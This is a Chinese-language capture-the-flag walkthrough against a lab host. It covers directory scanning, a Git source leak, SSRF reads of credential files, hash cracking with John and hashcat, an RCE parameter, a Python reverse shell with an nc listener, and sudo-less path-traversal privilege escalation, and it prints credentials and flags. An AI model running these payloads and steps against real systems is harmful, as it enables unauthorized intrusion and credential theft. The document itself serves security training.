✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨
——信息收集——
网段扫描
nmap -sP 192.168.110.0/24
目录扫描
gobuster dir -u http://192.168.110.105 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,env,htaccess,bak,zip -t 50
① gobuster dir (目录扫描模式)
② -u http://192.168.110.105 (扫描目标:这个 IP 的网站)
③ -w /usr/share/wordlists/dirb/common.txt (用 Kali 自带的常用目录字典)
⚡里面有 admin、login、.git、.env、backup 等几千个常见路径
④ -x php,html,txt,env,htaccess,bak,zip (同时扫描这些后缀的文件)
dirb http://192.168.110.105 (猜解网站的隐藏路径)
⚡找出后台、配置文件、备份文件、源码泄露等敏感资源
http://192.168.110.105/.git/HEAD
.git/HEAD是 Git 仓库的核心文件,记录当前分支指针- 能访问到这个文件,说明:
- 网站根目录下的
.git文件夹没有被删除 - 攻击者可以通过这个泄露,下载完整的网站源码、提交记录、配置文件
- 这就是典型的 Git 源码泄露漏洞
- 网站根目录下的
🔗 pipx run git-dumper http://192.168.110.105 ./output_dir
把目标网站泄露的 .git 文件夹,完整下载!
cat .env (查看下载下来的网站配置文件)
🎠获得数据库账户密码利用 file:// 协议读取文件
file://etc/passwd
file:///var/www/html/api/.htaccess
发现信息👇
SSRF 功能只要注册即可使用
发现 /var/www/html/api/.htpasswd 文件
配置:admin_panel 文件无需认证即可登录
读取敏感文件 file:///var/www/html/api/.htpasswd
获取账号密码哈希 zhangwei:$apr1$MJ6F/hkG$zt.9zwxKbvp1fMTi6roNn0
密码爆破 (将哈希保存到文件)
echo 'zhangwei:$apr1$MJ6F/hkG$zt.9zwxKbvp1fMTi6roNn0' > hash.txt
使用 John the Ripper 爆破密码
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
3. 爆破结果
密码:trustno1
🦄进一步信息收集
访问后台面板:
访问后台面板:http://192.168.110.105/api/admin_panel
F12 查看源码,获取另一串 MD5 哈希:9f9d51bc70ef21ca5c14f307980a29d8
同时在源码中发现 RCE 注入点:$output = shell_exec($_GET['exec']);
登录验证与漏洞利用
http://192.168.110.105/api/loader.php
输入之前爆破得到的账号密码进行登录:
- 账号:
zhangwei - 密码:
trustno1
登录成功后,利用文件包含漏洞 + RCE 构造 Payload
module=admin_panel&token=bob&exec=id 成功返回系统 id 信息
反弹 Shell 与获取Flag (构造 Python3 反弹 Shell Payload)
module=admin_panel&token=bob&exec=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.110.105",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Kali 在开一个新终端监听:nc -lvp 4444
接收反弹 Shell,获取目标服务器权限并读取 Flag
获取 Flag 1
1 查找所有与 Flag 相关文件
find / -iname "*flag*" 2>/dev/null
2 读取 Flag1(当前用户为 www-data,可直接访问)
cat /var/www/flag1.txt
得到 Flag1:flag1{a3f5c8d2e91b4076bc8d5e7f21a94c3b}
3 定位其他 Flag 路径
- Flag2 路径:
/home/liwei/flag2.txt - Flag3 路径:
/flag3.txt(需 root 权限访问)
可以通过提权、切换用户等操作,读取对应路径下的 Flag2 和 Flag3
获取 Flag 2
2.1 切换liwei用户需输入密码,从.env文件获取的数据库敏感信息,通过查询数据库获取密码。
数据库登录与查询
利用.env文件中获取的数据库账号密码,尝试登录MySQL数据库:
mysql -u root -p'R#xK9mWz$2pLnQ7v'
发现当前Shell不支持MySQL交互模式,因此切换为命令行直接输入查询指令的方式,逐步排查数据库信息:
# 查看所有数据库
mysql -u root -p'R#xK9mWz$2pLnQ7v' -e "show databases;"
# 进入目标数据库并查看所有表
mysql -u root -p'R#xK9mWz$2pLnQ7v' -e "use abyss_platform; show tables;"
# 查询用户表信息,获取密码相关线索
mysql -u root -p'R#xK9mWz$2pLnQ7v' -e "use abyss_platform; select * from users;"
查询用户表时发现时间戳相关字段,推测该时间戳与密码加密有关,因此查看网站index.php文件,确认密码加密:cat index.php
确认加密方式:以时间戳作为盐值,对密码进行MD5加盐加密,加密格式为 md5($password . $ts)。
2.2 密码爆破
结合获取到的密码哈希、时间戳,使用hashcat工具结合rockyou.txt字典进行爆破(提前解压字典)
hashcat -m 10 d450a27a0caf3b9dcc7f03e4c492f7ac:1742900000 /usr/share/wordlists/rockyou.txt获得密码:dragon
切换用户并获取Flag2
2.3 该密码为admin账号密码,可能是管理员复用密码,尝试使用该密码切换至liwei用户:
# 切换至liwei用户
su liwei
# 输入密码:dragon
# 查看liwei家目录下的Flag2
cat /home/liwei/flag2.txtflag2{7d2e4b8c1f6a39d5e0c7b2f84a16d9e3}
获取 Flag 3
1 su liwei 登入到liwei用户
查看身份 id 显示出liwei
并确认当前身份 whoami 因为能显示当前用户的 UID GID 以及所属的用户组
查看sudo权限 liwei用户可执行的sudo命令及权限:sudo -l 才能判断是否具备执行 sudo 的权限 如果id属于sudo组,说明了liwei用户具备使用sudo的基本条件,所以先确认身份。
2 通过sudo 查看列表
sudi -l
查询结果显示,liwei用户拥有NOPASSWD权限,可无密码执行指定命令:(ALL) NOPASSWD: /usr/bin/less /var/log/abyss/*
3 利用sudo权限提权,读取根目录下的flag3.txt文件
Flag3位于根目录下,需获取root权限方可读取。当前已切换至liwei用户,因此首先查看该用户的sudo权限,以此寻找提权突破口。
.(一个点):代表当前目录
..(两个点):代表上一级目录 var
/../../../ : 根目录
sudo /usr/bin/less /var/log/abyss/../../../flag3.txt
flag3{b9c1d4e7f2a85036e1d8c3b6f4a27d5e}
✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨